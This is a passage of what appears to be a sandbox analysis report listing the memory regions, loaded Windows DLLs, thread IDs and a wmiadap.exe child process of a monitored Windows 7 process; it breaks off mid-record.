Region:
	              id = 2371
	        start_va = 0x2d70000
	          end_va = 0x2d7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d70000"
	        filename = ""

Region:
	              id = 2372
	        start_va = 0x2d80000
	          end_va = 0x2e7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002d80000"
	        filename = ""

Region:
	              id = 2373
	        start_va = 0x7fee1b10000
	          end_va = 0x7fee1baffff
	     entry_point = 0x7fee1b10000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll")

Region:
	              id = 2374
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 2375
	        start_va = 0x7fef95d0000
	          end_va = 0x7fef97ecfff
	     entry_point = 0x7fef95d0000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 2376
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 2377
	        start_va = 0x7fefbbb0000
	          end_va = 0x7fefbc05fff
	     entry_point = 0x7fefbbb0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2378
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 2379
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 2380
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 2381
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 2382
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd4fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 2383
	        start_va = 0x7fffffd5000
	          end_va = 0x7fffffd6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd5000"
	        filename = ""

Region:
	              id = 2384
	        start_va = 0x7fffffd7000
	          end_va = 0x7fffffd8fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd7000"
	        filename = ""

Region:
	              id = 2385
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2386
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 2443
	        start_va = 0x2730000
	          end_va = 0x27effff
	     entry_point = 0x2730000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 2444
	        start_va = 0x2ad0000
	          end_va = 0x2adffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ad0000"
	        filename = ""

Region:
	              id = 2445
	        start_va = 0x2c10000
	          end_va = 0x2d0ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002c10000"
	        filename = ""

Region:
	              id = 2446
	        start_va = 0x2ec0000
	          end_va = 0x2fbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002ec0000"
	        filename = ""

Region:
	              id = 2447
	        start_va = 0x3040000
	          end_va = 0x313ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003040000"
	        filename = ""

Region:
	              id = 2448
	        start_va = 0x3320000
	          end_va = 0x341ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003320000"
	        filename = ""

Region:
	              id = 2449
	        start_va = 0x3470000
	          end_va = 0x356ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003470000"
	        filename = ""

Region:
	              id = 2450
	        start_va = 0x77610000
	          end_va = 0x77612fff
	     entry_point = 0x77610000
	     region_type = mapped_file
	            name = "normaliz.dll"
	        filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")

Region:
	              id = 2451
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 2452
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 2453
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 2454
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 2455
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 2456
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 2457
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 2458
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 2459
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 2460
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 2461
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 2462
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 2463
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 2464
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 2465
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 2466
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 2467
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 2491
	        start_va = 0x440000
	          end_va = 0x440fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000440000"
	        filename = ""

Region:
	              id = 2492
	        start_va = 0x450000
	          end_va = 0x451fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000450000"
	        filename = ""

Region:
	              id = 2493
	        start_va = 0x460000
	          end_va = 0x46bfff
	     entry_point = 0x460000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")

Region:
	              id = 2494
	        start_va = 0x2370000
	          end_va = 0x2371fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002370000"
	        filename = ""

Region:
	              id = 2495
	        start_va = 0x2380000
	          end_va = 0x2387fff
	     entry_point = 0x2380000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")

Region:
	              id = 2496
	        start_va = 0x2390000
	          end_va = 0x239ffff
	     entry_point = 0x2390000
	     region_type = mapped_file
	            name = "index.dat"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")

Region:
	              id = 2497
	        start_va = 0x23a0000
	          end_va = 0x23a0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023a0000"
	        filename = ""

Region:
	              id = 2498
	        start_va = 0x2a10000
	          end_va = 0x2a1ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002a10000"
	        filename = ""

Region:
	              id = 2499
	        start_va = 0x3570000
	          end_va = 0x38b2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000003570000"
	        filename = ""

Region:
	              id = 2500
	        start_va = 0x3900000
	          end_va = 0x39fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003900000"
	        filename = ""

Region:
	              id = 2501
	        start_va = 0x3a80000
	          end_va = 0x3afffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003a80000"
	        filename = ""

Region:
	              id = 2502
	        start_va = 0x3bc0000
	          end_va = 0x3cbffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003bc0000"
	        filename = ""

Region:
	              id = 2503
	        start_va = 0x3d70000
	          end_va = 0x3e6ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d70000"
	        filename = ""

Region:
	              id = 2504
	        start_va = 0x7fef4940000
	          end_va = 0x7fef4948fff
	     entry_point = 0x7fef4940000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 2505
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 2506
	        start_va = 0x7fefb310000
	          end_va = 0x7fefb33cfff
	     entry_point = 0x7fefb310000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 2507
	        start_va = 0x7fefb360000
	          end_va = 0x7fefb370fff
	     entry_point = 0x7fefb360000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 2508
	        start_va = 0x7fefb380000
	          end_va = 0x7fefb39bfff
	     entry_point = 0x7fefb380000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 2509
	        start_va = 0x7fefb3a0000
	          end_va = 0x7fefb401fff
	     entry_point = 0x7fefb3a0000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 2510
	        start_va = 0x7fefbc60000
	          end_va = 0x7fefbe53fff
	     entry_point = 0x7fefbc60000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 2511
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 2512
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 2513
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 2514
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 2515
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 2516
	        start_va = 0x7fefd440000
	          end_va = 0x7fefd44efff
	     entry_point = 0x7fefd440000
	     region_type = mapped_file
	            name = "msasn1.dll"
	        filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll")

Region:
	              id = 2517
	        start_va = 0x7fefd470000
	          end_va = 0x7fefd5d6fff
	     entry_point = 0x7fefd470000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 2518
	        start_va = 0x7fefd680000
	          end_va = 0x7fefd6b5fff
	     entry_point = 0x7fefd680000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 2519
	        start_va = 0x7fefd770000
	          end_va = 0x7fefd899fff
	     entry_point = 0x7fefd770000
	     region_type = mapped_file
	            name = "wininet.dll"
	        filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")

Region:
	              id = 2520
	        start_va = 0x7feff000000
	          end_va = 0x7feff051fff
	     entry_point = 0x7feff000000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 2521
	        start_va = 0x7feff060000
	          end_va = 0x7feff2b8fff
	     entry_point = 0x7feff060000
	     region_type = mapped_file
	            name = "iertutil.dll"
	        filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")

Region:
	              id = 2522
	        start_va = 0x7feff2c0000
	          end_va = 0x7feff437fff
	     entry_point = 0x7feff2c0000
	     region_type = mapped_file
	            name = "urlmon.dll"
	        filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")

Region:
	              id = 2523
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 2524
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 2525
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 2547
	        start_va = 0x23b0000
	          end_va = 0x23b1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000000023b0000"
	        filename = ""

Region:
	              id = 2548
	        start_va = 0x3260000
	          end_va = 0x32dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003260000"
	        filename = ""

Region:
	              id = 2549
	        start_va = 0x3e80000
	          end_va = 0x3f7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003e80000"
	        filename = ""

Region:
	              id = 2550
	        start_va = 0x3fe0000
	          end_va = 0x40dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003fe0000"
	        filename = ""

Region:
	              id = 2551
	        start_va = 0x40e0000
	          end_va = 0x42dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040e0000"
	        filename = ""

Region:
	              id = 2552
	        start_va = 0x43d0000
	          end_va = 0x44cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043d0000"
	        filename = ""

Region:
	              id = 2553
	        start_va = 0x44d0000
	          end_va = 0x48cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000044d0000"
	        filename = ""

Region:
	              id = 2554
	        start_va = 0x7fef71f0000
	          end_va = 0x7fef71fafff
	     entry_point = 0x7fef71f0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 2555
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7218fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 2556
	        start_va = 0x7fef7220000
	          end_va = 0x7fef7234fff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 2557
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 2558
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 2559
	        start_va = 0x7fefc8d0000
	          end_va = 0x7fefc91bfff
	     entry_point = 0x7fefc8d0000
	     region_type = mapped_file
	            name = "bcryptprimitives.dll"
	        filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")

Region:
	              id = 2560
	        start_va = 0x7fefca20000
	          end_va = 0x7fefca76fff
	     entry_point = 0x7fefca20000
	     region_type = mapped_file
	            name = "schannel.dll"
	        filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll")

Region:
	              id = 2561
	        start_va = 0x7fefce00000
	          end_va = 0x7fefce21fff
	     entry_point = 0x7fefce00000
	     region_type = mapped_file
	            name = "bcrypt.dll"
	        filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")

Region:
	              id = 2562
	        start_va = 0x7fefce30000
	          end_va = 0x7fefce7dfff
	     entry_point = 0x7fefce30000
	     region_type = mapped_file
	            name = "ncrypt.dll"
	        filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll")

Region:
	              id = 2563
	        start_va = 0x7fffff9c000
	          end_va = 0x7fffff9dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9c000"
	        filename = ""

Region:
	              id = 2564
	        start_va = 0x7fffff9e000
	          end_va = 0x7fffff9ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9e000"
	        filename = ""

Region:
	              id = 2565
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""


Thread:
	id = 201
	os_tid = 0x8f8


Thread:
	id = 202
	os_tid = 0x360


Thread:
	id = 204
	os_tid = 0xbc4


Thread:
	id = 205
	os_tid = 0x864


Thread:
	id = 207
	os_tid = 0xb2c


Thread:
	id = 213
	os_tid = 0x98c


Thread:
	id = 216
	os_tid = 0x114


Thread:
	id = 219
	os_tid = 0x7ec


Thread:
	id = 220
	os_tid = 0x4e4


Thread:
	id = 221
	os_tid = 0x350


Thread:
	id = 227
	os_tid = 0x9b0


Thread:
	id = 228
	os_tid = 0x9ac


Thread:
	id = 229
	os_tid = 0x73c


Thread:
	id = 232
	os_tid = 0x63c


Thread:
	id = 233
	os_tid = 0x504


Thread:
	id = 234
	os_tid = 0xa4c


Process:
	id = "16"
	image_name = "wmiadap.exe"
	filename = "c:\\windows\\system32\\wbem\\wmiadap.exe"
	page_root = "0x72740000"
	os_pid = "0x5a8"
	os_integrity_level = "0x4000"
	os_privileges = "0xe60b1e890"
	monitor_reason = "child_process"
	parent_id = "7"
	os_parent_pid = "0x338"
	cmd_line = "wmiadap.exe /F /T /R"
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "NT AUTHORITY\\SYSTEM"
	os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xe], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000c340" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]

Region:
	              id = 2668
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 2669
	        start_va = 0x30000
	          end_va = 0x33fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000030000"
	        filename = ""

Region:
	              id = 2670
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000040000"
	        filename = ""

Region:
	              id = 2671
	        start_va = 0xf0000
	          end_va = 0x16ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000f0000"
	        filename = ""

Region:
	              id = 2672
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2673
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2674
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 2675
	        start_va = 0xffb50000
	          end_va = 0xffb7ffff
	     entry_point = 0xffb50000
	     region_type = mapped_file
	            name = "wmiadap.exe"
	        filename = "\\Windows\\System32\\wbem\\WMIADAP.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiadap.exe")

Region:
	              id = 2676
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 2677
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 2678
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdafff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 2679
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""

Region:
	              id = 2680
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 2681
	        start_va = 0x50000
	          end_va = 0xb6fff
	     entry_point = 0x50000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 2682
	        start_va = 0x330000
	          end_va = 0x42ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000330000"
	        filename = ""

Region:
	              id = 2683
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x77330000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 2684
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 2685
	        start_va = 0x7f0e0000
